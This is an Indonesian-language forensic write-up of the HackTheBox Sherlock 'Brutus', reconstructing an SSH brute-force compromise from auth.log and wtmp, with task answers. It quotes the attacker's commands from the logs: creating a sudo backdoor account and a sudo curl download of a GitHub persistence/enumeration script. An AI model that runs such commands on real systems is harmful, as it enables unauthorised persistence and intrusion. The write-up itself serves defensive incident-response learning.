Project

Brutus — HTB Sherlock: Linux Log Forensics

Analisis forensik log Linux pada kasus brute force SSH — mencakup identifikasi attacker, timeline rekonstruksi, persistence analysis, dan MITRE ATT&CK mapping.

Challenge Overview

Overview Challange

Brutus adalah challenge forensik yang mengangkat skenario umum di dunia nyata: sebuah server Linux mengalami brute force attack via SSH. Setelah berhasil masuk, attacker melakukan serangkaian aktivitas lanjutan yang dapat direkonstruksi melalui analisis log.

Skill yang Dilatih

  • Unix Log Analysis
  • SSH Brute Force Detection
  • Timeline Reconstruction
  • Persistence Analysis
  • MITRE ATT&CK Mapping

Artifact Overview

Articact Pola Failed password berulang dari IP yang sama

ArtefakTipeFungsi
auth.logTextRiwayat autentikasi sistem (SSH, sudo, user management)
wtmpBinaryRiwayat sesi login/logout terminal
utmp.pyScriptHelper untuk membaca wtmp lintas arsitektur

auth.log

File teks yang mencatat seluruh aktivitas autentikasi pada sistem Linux:

  • SSH login attempts (berhasil maupun gagal)
  • Penggunaan sudo
  • Pembuatan user baru & privilege escalation

Struktur umum satu baris log:

1
[Timestamp]  [Hostname]  [Service/PID]  [Status]  [Username]  [IP]  [Detail]

Contoh entri brute force:

1
Mar 06 06:31:33 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2

wtmp

File binary berisi riwayat sesi login/logout. Tidak bisa dibaca langsung — gunakan:

1
2
3
4
5
# Native Linux
last -f wtmp

# Helper script (challenge)
python3 utmp.py -o wtmp.out wtmp

Catatan penting: Authentication timeSession start time. Inilah mengapa wtmp krusial untuk validasi timeline.


Investigation & Findings

Task 1 — Attacker IP Address

Task 1.1

Brute force dapat diidentifikasi dari pola berikut di auth.log:

  • Entri Failed password dalam jumlah sangat banyak
  • Dari IP yang sama
  • Dalam jeda waktu sangat singkat (tidak mungkin manual)
1
2
3
Mar 06 06:31:31 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
Mar 06 06:31:33 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2
Mar 06 06:31:35 server sshd[2394]: Failed password for root from 65.2.161.68 port 34782 ssh2

Answer: 65.2.161.68

Task 1.2


Task 2 — Compromised Account

Task 2.1

Indikator keberhasilan brute force adalah adanya log:

1
Accepted password for root from 65.2.161.68

Attacker berhasil login sebagai user dengan privilege tertinggi.

Entri “Accepted password” menandakan brute force berhasil

Answer: root

Task 2.2


Task 3 — Interactive Login Timestamp (UTC)

Analisis wtmp diperlukan untuk membedakan waktu autentikasi dan waktu sesi terminal aktif secara nyata.

Task 3.1

Answer: 2024-03-06 06:32:45 UTC

Task 3.2


Task 4 — SSH Session Number

Setiap koneksi SSH mendapatkan session ID unik yang tercatat di auth.log. Session ID digunakan untuk melacak kapan sesi dimulai dan berakhir.

Task 4.1 Session ID 37 pada entri login root

Answer: 37

Task 4.2


Task 5 — Persistence Account

Setelah mendapatkan akses root, attacker membuat user baru sebagai backdoor persistence:

1
2
useradd cyberjunkie
usermod -aG sudo cyberjunkie

Task 5.1 Log pembuatan user dan penambahan ke grup sudo

Answer: cyberjunkie

Task 5.2


Task 6 — MITRE ATT&CK Mapping

Task 6.1

Pembuatan akun lokal untuk persistence diklasifikasikan sebagai:

FieldValue
TacticPersistence
TechniqueCreate Account (T1136)
Sub-techniqueLocal Account

Task 6.2 T1136.001 pada MITRE ATT&CK Enterprise Matrix

Answer: T1136.001

Task 6.3

Task 7 — End of First SSH Session

Session ID 37 ditutup berdasarkan log auth.log pada:

Task 7.1 Entri penutupan sesi SSH ID 37

Answer: 2024-03-06 06:37:24

Task 7.2

Durasi sesi pertama: ±4 menit 39 detik — singkat, konsisten dengan aktivitas otomatisasi.


Task 8 — Post Exploitation Activity

Task 8.1 Perintah curl via sudo tercatat di auth.log

Attacker login kembali menggunakan akun cyberjunkie, lalu mengeksekusi perintah via sudo:

1
/usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh

Script eksternal dari GitHub ini kemungkinan digunakan untuk privilege enumeration, persistence reinforcement, dan lateral movement preparation.

Task 8.2

Answer: /usr/bin/curl https://raw.githubusercontent.com/montysecurity/linper/main/linper.sh


✅ Kesimpulan

Achievement

Pertama, brute force attack masih menjadi ancaman nyata, terutama pada sistem yang tidak menerapkan hardening seperti rate limiting, fail2ban, atau key-based authentication.

Kedua, memahami perbedaan antara authentication log dan session log sangat krusial dalam membangun timeline yang akurat. auth.log memberi tahu kita kapan kredensial diterima, sedangkan wtmp memberi tahu kapan sesi benar-benar aktif.

Ketiga, persistence tidak selalu kompleks. Terkadang, teknik sederhana seperti membuat akun lokal baru dan menambahkannya ke grup sudo sudah cukup untuk mempertahankan akses.

Kita melihat bagaimana sebuah serangan brute force terhadap layanan SSH dapat berkembang menjadi kompromi penuh terhadap sistem. Dimulai dari percobaan login masif, berlanjut ke keberhasilan autentikasi sebagai root, kemudian diikuti dengan pembuatan akun baru untuk persistence, hingga eksekusi perintah menggunakan sudo untuk mengunduh script tambahan.

Seringkali, sebuah insiden besar dimulai dari satu hal yang sederhana — sebuah password yang berhasil ditebak.